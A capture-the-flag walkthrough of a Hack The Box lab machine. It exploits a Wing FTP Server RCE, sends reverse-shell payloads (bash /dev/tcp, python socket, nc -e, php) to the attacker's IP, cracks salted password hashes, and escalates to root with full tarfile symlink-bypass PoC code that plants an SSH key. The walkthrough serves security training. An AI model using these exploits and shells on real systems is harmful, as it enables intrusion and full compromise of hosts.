Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ nmap -sC -sV -Pn 10.129.244.106 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 04:11 +0000
Nmap scan report for 10.129.244.106
Host is up (0.44s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.97 seconds
Add wingdata.htbto our /etc/hosts
HTTP - TCP 80
From the index page, we can find another domain name from the button Client Portal
http://ftp.wingdata.htb/
We can clearly find the version of this service Wing FTP Server v7.4.3
Now let's check the CVE of this version CVE-2025-47812
https://www.exploit-db.com/exploits/52347
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
Let's run the exploit script and verify the vulnerability
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 exploit.py -u http://ftp.wingdata.htb
[*] Testing target: http://ftp.wingdata.htb
[+] http://ftp.wingdata.htb is vulnerable!
Or we can use other's exploit script to auto it
https://github.com/blindma1den/CVE-2025-47812.git
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 rce.py
============================================================
CVE-2025-47812 - Wing FTP Server RCE Exploit
============================================================
Target URL (e.g., http://localhost:5466): http://ftp.wingdata.htb
Username (default: anonymous): anonymous
1) Run Command
2) Get Reverse Shell
Your choice (1 or 2): 1
Command to execute (default: whoami): whoami
[*] Trying to get UID... Command: whoami
[+] UID obtained: c38c596a19d297ce82414fbc28dc0516f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
wingftp
<?xml version="1.0" encoding="UTF-8" ?>
<alldata><nowdir><![CDATA[/]]></nowdir>
<dirdata>
</dirdata>
<nowquota>0</nowquota>
<maxquota>0</maxquota>
<readfile>1</readfile>
</alldata>
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 rce.py
============================================================
CVE-2025-47812 - Wing FTP Server RCE Exploit
============================================================
Target URL (e.g., http://localhost:5466): http://ftp.wingdata.htb
Username (default: anonymous): anonymous
1) Run Command
2) Get Reverse Shell
Your choice (1 or 2): 2
Reverse shell IP address: 10.10.14.6
Reverse shell port: 443
[*] Trying payload: php -r '$sock=fsockopen("10.10.14.6",443);exec("sh <&3 >&3 2>&3");'
[*] Trying to get UID... Command: php -r '$sock=fsockopen("10.10.14.6",443);exec("sh <&3 >&3 2>&3");'
[+] UID obtained: 1c2ab4da170f6ea3969129ed85a44418f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
session expired
------ Response End ------
[*] Payload sent, waiting for reverse shell...
[*] Trying payload: bash -i >& /dev/tcp/10.10.14.6/443 0>&1
[*] Trying to get UID... Command: bash -i >& /dev/tcp/10.10.14.6/443 0>&1
[+] UID obtained: 2995884a70e00b808dfb9fe7071159c4f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
session expired
------ Response End ------
[*] Payload sent, waiting for reverse shell...
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
[*] Trying to get UID... Command: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
[+] UID obtained: a927bf9cdaf1669872a522f98001fa24f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
session expired
------ Response End ------
[*] Payload sent, waiting for reverse shell...
[*] Trying payload: nc 10.10.14.6 443 -e /bin/sh
[*] Trying to get UID... Command: nc 10.10.14.6 443 -e /bin/sh
[+] UID obtained: 113620aa9e3f7b838bb0c69f8afef981f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
Now we can get the reverse shell as wingftp
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.129.244.106] 41500
whoami
wingftp
id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
We can upgrade the shell to have a stable enumerating environment
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
By enumerating the file system, I find the administrator password hash
wingftp@wingdata:/opt/wftpserver/Data/_ADMINISTRATOR$ cat admins.xml
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
<ADMIN>
<Admin_Name>admin</Admin_Name>
<Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
<Type>0</Type>
<Readonly>0</Readonly>
<IsDomainAdmin>0</IsDomainAdmin>
<DomainList></DomainList>
<MyDirectory></MyDirectory>
<EnableTwoFactor>0</EnableTwoFactor>
<TwoFactorCode></TwoFactorCode>
</ADMIN>
</ADMIN_ACCOUNTS>
wingftp@wingdata:/opt/wftpserver/Data/_ADMINISTRATOR$ cat settings.xml
<?xml version="1.0" ?>
<Administrator Description="Wing FTP Server Administrator Options">
<HttpPort>5466</HttpPort>
<HttpSecure>0</HttpSecure>
<AdminLogfileEnable>1</AdminLogfileEnable>
<AdminLogfileFileName>Admin-%Y-%M-%D.log</AdminLogfileFileName>
<AdminLogfileMaxsize>0</AdminLogfileMaxsize>
<EnablePortUPnP>0</EnablePortUPnP>
</Administrator>
After trying to crack that with SHA256,but it seems not cracked.I guess there should be salt with that.
Wing FTP documentation explicitly states that a salt string is appended to the password before hashing.
From the configure of /opt/wftpserver/Data/1/settings.xml I find the salt is WingFTP
<EnableSHA256>1</EnableSHA256>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
Also there are other hashes from /opt/wftpserver/Data/1/users
wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls
anonymous.xml john.xml maria.xml steve.xml wacky.xml
Now let's try to crack these hashes
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10:WingFTP
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03:WingFTP
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca:WingFTP
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
hashcat -m 1410 -a 0 wing_users.hash /usr/share/wordlist/rockyou.txt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1410 (sha256($pass.$salt))
Now we can get the new credit wacky:!#7Blushing^*Bride5and access to ssh connect to machine.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ ssh wacky@wingdata.htb
wacky@wingdata:~$ id
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
wacky@wingdata:~$ whoami
wacky
Privilege Escalation
I would check the sudo -lfirstly
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
We can check the python script and find something wired here.
Root Cause Analysis
The main risk in this privilege escalation path comes from the fact that the script extracts a tar archive with root privileges using tarfile.extractall().
Although the script attempts to restrict user input, these checks do not fully eliminate the attack surface. Specifically, it enforces:
A strict backup filename format: backup_<client_id>.tar
A restricted restore directory name: restore_<tag>
Fixed base directories for backups and restores
At first glance, these constraints appear sufficient to make the restore process safe. However, they do not address the fundamental issue: an attacker-controlled tar archive is extracted as root.
Why This Is Dangerous
The tar format supports complex filesystem objects such as:
Symbolic links (symlinks)
Hard links
Special file types
Arbitrary path structures
If these objects are not carefully validated during extraction, they can cause files to be written outside the intended extraction directory.
Even though the script uses:
tar.extractall(path=staging_dir, filter="data")
this protection is not a complete security boundary.
Recent research has shown that the filter="data" mechanism can still be bypassed under certain conditions. Notably:
CVE-2025-4517 — Filter bypass allowing arbitrary file writes outside the extraction directory.
CVE-2024-12718 — Additional unsafe extraction behaviors involving symlinks, hard links, and path resolution.
These vulnerabilities demonstrate that specially crafted tar archives can manipulate how paths resolve during extraction, potentially allowing files to be written to unintended locations.
There is a pocfrom the google security team
https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
Now we can modify the payload of the exploit script
import tarfile
import os
import io
import sys
# 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896
# on OSX), leaving 128 bytes for a prefix and at least a few chars of the link
# ========== CONFIGURATION ==========
EVIL_TAR_NAME = "backup_1337.tar"
TRAVERSAL_PATH = "/../../../../root/.ssh/authorized_keys"
WRITE_CONTENT = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO0dl48snyfNIrhj7V9tMQpXE5B0uCuiCXQxCdZLYglN70DyHDODd5y6jdo4JhorRyBK7kEguQZErAGWtJOs9Q8Tk6VLE1PmRc+vZMFH7FhM+Bdr6kH3bjHbPvLr/rqwYKCzUB5oYZOAJP9+6azC/SiBdtne0TN7uzTLXIO9+nFvfX6ZEL+Exkc3Tux7BlmatBJAOjvSHY94NXylZzyNM8HKDLp1fR43f64oKDL5odQFumuYDS2PvRRTMcx9NJ8xc1PD2STFd9xXvcpyXnE+WJjbc0s/iq6bgw6FrN7yYEegXolRsLh9jMFQtfJnBExqK2PWMm++UH2U6W4CXdKq1Vjlj+ZbWoC8SM3lL+H2y+wB2xjugQolebG3JS1r6NLGCDygY25ySUskXPdprwPf6vFCQiSdr2EHATwJI3HQMMUyBuEuHawppop60atUcMOhXny0h7//zJ/td6fouJT14KxQ/3f3B/ifXoAmIX8Y15FBxY70qeubV1XE+TnaXaw7IdESxEn5mIl13cIleAv/UFF4fEyXutr3ceDFHE4MOsL4KzynSfNmUMKkkbf+IbVGiJTKrzjzcCPx4KBKkhybmidX3q3LOwXvtltF/7t5/bM9D8JB7rT/3VF4ECtPt9Mr2FbahMz9Uzm1yKcu0sNbx9DFKSVtn2larH+zqh7QU7iQ== test"
# ===================================
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open(EVIL_TAR_NAME, mode="x") as tar:
# populate the symlinks and dirs that expand in os.path.realpath()
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# create the final symlink that exceeds PATH_MAX and simply points to the
# top dir. this allows *any* path to be appended.
# this link will never be expanded by os.path.realpath(), nor anything after it.
linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = ("../" * len(steps))
tar.addfile(l)
# make a symlink outside to keep the tar command happy
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + TRAVERSAL_PATH
tar.addfile(e)
# use the symlinks above, that are not checked, to create a hardlink
# to a file outside of the destination path
f = tarfile.TarInfo("flaglink")
f.type = tarfile.LNKTYPE
f.linkname = "escape"
tar.addfile(f)
# now that we have the hardlink we can overwrite the file
content = WRITE_CONTENT.encode() + b"\n"
c = tarfile.TarInfo("flaglink")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))
After running the script, we will get the backup file
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 poc.py
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ file backup_1337.tar
backup_1337.tar: POSIX tar archive
Then upload it and trigger write it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ scp backup_*.tar wacky@wingdata.htb:/opt/backup_clients/backups
wacky@wingdata.htb's password:
backup_1337.tar 100% 120KB 39.1KB/s 00:03
wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b `ls /opt/backup_clients/backups` \
-r restore_whatever
[+] Backup: backup_1337.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_whatever
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_whatever
Now you can use your private key to ssh connect to root shell.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ ssh -i ~/.ssh/id_rsa root@wingdata.htb
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 12 01:08:36 2026 from 10.10.14.6
root@wingdata:~# whoami
root
root@wingdata:~# id
uid=0(root) gid=0(root) groups=0(root)
Description
The privilege escalation section's use of CVE-2025-4517 is a classic example and is well-suited for teaching and demonstration.